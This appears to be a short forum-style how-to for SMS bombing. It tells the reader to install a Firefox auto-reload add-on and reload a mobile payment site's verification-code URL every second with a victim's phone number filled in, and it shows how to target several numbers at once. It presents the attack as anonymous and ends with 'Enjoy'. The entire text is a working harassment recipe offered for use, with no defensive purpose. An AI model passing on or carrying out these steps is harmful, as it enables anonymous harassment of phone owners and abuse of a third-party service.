Open Mozilla Firefox
Install this plugin
https://addons.mozilla.org/en-US/firefox/addon/115/
After that restart Firefox.
Open http://www.mobikwik.com/sendVerificationCode.do?cellNumber=9xxxxxxxxx
Replace xxxxxxxxx with the no. you want to flood.
Then
Right click -> Reload Every -> custom ->
then, 0 min 1 sec and Press OK.
It will not reveal any identity.
You can Flood more than one no. at a time.
http://www.mobikwik.com/sendVerificationCode.do?cellNumber=9xxxxxxxxx,919xxxxxxxxx,919xxxxxxxxx
Enjoy.....
